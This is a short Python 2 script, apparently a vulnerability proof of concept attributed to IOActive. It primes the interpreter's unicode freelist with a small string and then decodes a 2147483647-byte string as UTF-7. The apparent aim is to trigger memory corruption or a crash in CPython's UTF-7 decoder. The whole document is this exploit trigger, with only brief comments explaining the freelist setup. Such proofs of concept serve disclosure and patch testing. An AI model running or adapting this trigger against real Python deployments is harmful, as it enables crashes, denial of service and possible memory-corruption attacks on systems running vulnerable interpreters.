#!/usr/bin/python # this is to get the unicode_freelist initialized # the length of the string must be <= 9 to keep # unicode->str from being deallocated and set to # NULL bla = unicode('IOActive') del bla msg = 'A'*2147483647 msg.decode('utf7')